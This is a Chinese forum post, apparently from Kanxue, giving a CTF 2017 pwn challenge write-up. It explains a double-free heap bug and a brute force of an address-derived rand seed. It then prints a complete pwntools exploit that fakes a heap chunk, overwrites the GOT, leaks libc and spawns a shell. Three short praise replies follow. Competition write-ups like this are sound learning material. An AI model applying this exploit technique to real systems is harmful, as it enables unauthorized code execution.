首页
社区
课程
招聘
[原创]CTF2017第四题分析(qwertyaa)
发表于: 2017-10-31 12:27 5106

[原创]CTF2017第四题分析(qwertyaa)

2017-10-31 12:27
5106

萌新第一次做pwn...(话说这种题目给了服务器都不带连接方式的,别人的题解貌似也不屑写这个,找了好久才知道要用telnet)
然后看题目,可以申请/修改/删除/查看一些buffer,其中只有第2/3号可以删除,删除的代码又非常简陋(不能再创建/有double free的bug)
同时注意到buffer的大小要求从小到大,而且间隔2个buffer大小至少差0x16,最小的buffer大小大于24,最大的buffer大小小于0x1000-0x10
然后上次比赛第四题刚好是double free啊,当然是拿大佬的题解来改改改了^^(大概就是free后构造一个假的malloc_chunk然后free,导致指向buffer的指针表内一项指向指针表,然后用这一项和buffer修改操作修改Got表)
然后...发现这道题的基址是随机的...
再看到题目中的guess a number,正确就把seed的地址告诉我们,seed的地址减去在ida里看到的seed地址(记为seed_off),就是基址了^^
然而...怎么猜啊...
观察发现srand输入的是32位值,在穷举的可接受范围内^^
然而还是Too slow(因为有计算srand和rand所需要的巨大常数)...
仔细看发现srand输入的是seed的地址啊,seed的地址=基址+seed_off啊,基址又是0x1000对齐的(十六进制后面三位必为0),搜索规模瞬间小了4096倍!!!
接下来的方法就和 看雪.Wifi万能钥匙 2017CTF年中赛 第四题 ReeHY-main 差不多了,在那一题基础上指令不同改一改/各种地址不同改一改/存储各buffer指针的struct不同改一改/由于buffer的大小限制改一改(其实加起来看每句基本都要改...),就GetShell了
以下是用的脚本(需要pwn库)

#!/usr/bin/env python
from pwn import *
import sys
context.arch = 'amd64'
if len(sys.argv) < 2:
    p = process('./club')   
    context.log_level = 'debug'
else:   
    context.log_level = 'debug'
    p = remote(sys.argv[1], int(sys.argv[2]))#gdb.attach(p,'b *0x400cf5 \nb *0x400b62')

def delete(index):
    p.recvuntil('> ')
    p.send('2')
    p.recvuntil('> ')
    p.send(str(index+1))

def edit(index,content):
    p.recvuntil('> ')
    p.send('3')
    p.recvuntil('> ')
    p.send(str(index+1))
    #p.recvuntil('the content\n')
    p.send(content)
    p.send("\n")

def create(index,size,content):
    p.recvuntil('> ')
    p.send('1')
    p.recvuntil('> ')
    p.send(str(index+1))
    p.recvuntil('> ')
    p.send(str(size))
    edit(index,content)

def create3(index,size,content):
    #p.recvuntil('> ')
    p.send('1')
    p.recvuntil('> ')
    p.send(str(index+1))
    p.recvuntil('> ')
    p.send(str(size))
    edit(index,content)

def create2(index,size):
    p.recvuntil('> ')
    p.send('1')
    p.recvuntil('> ')
    p.send(str(index+1))
    p.recvuntil('> ')
    p.send(str(size))

def guess(number):
    p.recvuntil('> ')
    p.send('5')
    p.recvuntil('> ')
    p.send(str(number))
    #p.send('\n')

def show(number):
    p.recvuntil('> ')
    p.send('4')
    p.recvuntil('> ')
    p.send(str(number))
    #p.send('\n')

def exp():  
    #p.recvuntil('> ')  
    guess(1)
    z=p.recvline('Wr0ng')
    val =int(z[27:-2])
    log.info(int(z[27:-2]))
    aa=process('./xx')
    aa.sendline(str(val))
    guess(int(aa.recvline()))
    z=p.recvline('G00d')
    log.info(z) 
    val =long(z[26:-2])
    log.info(long(z[26:-2])) 
    #input()
    seed_off = 0x202148L
    base=val-seed_off
    log.info(hex(base))
    system_off = 0x45390L
    puts_off = 0x6f690L
    got_addr = 0x202018L+base
    p_addr = 0x202118L+base
    puts_plt = 0x202180L+base
    #create(0,0x20,'/bin/sh\x00')
    create(0,0x30,'234')
    create(2,0x200,'XXXX')
    create(1,0x100,'YYYY')
    delete(2)
    delete(1)
    payload = p64(0)+p64(0x201)+p64(p_addr-0x18)+p64(p_addr-0x10)+'X'*(0x200-32)+p64(0x200)+p64(0x110)#+'Z'*5
    create(3,0x310,payload)
    #p.interactive()
    delete(1)
    #p.interactive()
    edit(2,p64(0)+p64(got_addr+0x10)+p64(got_addr))
    #p.interactive()
    #edit(1,p64(puts_plt))
    show(1)
    #p.interactive()
    puts_addr = p.recv(6)
    log.info('x address:'+hex(u64(puts_addr+'\x00'*2)-puts_off))
    system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off#+'\x00'*2
    edit(1,p64(system_addr))
    edit(2,'/bin/sh\x00')
    delete(2)
    p.interactive()

if __name__ == '__main__':
    exp()
其中运行的xx是一个g++编译的程序,用来暴力获取guess a number下一个要猜的数(由于效率和库函数支持所以选用c++)
其代码如下:

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2018-6-18 21:35 被qwertyaa编辑 ,原因: beautify code
收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 3
活跃值: (15)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
2
好文章
2017-11-1 16:49
0
雪    币: 6818
活跃值: (153)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
不错!
2017-11-1 22:00
0
雪    币: 870
活跃值: (2264)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
很好,支持
2018-7-21 17:10
0
游客
登录 | 注册 方可回帖
返回
//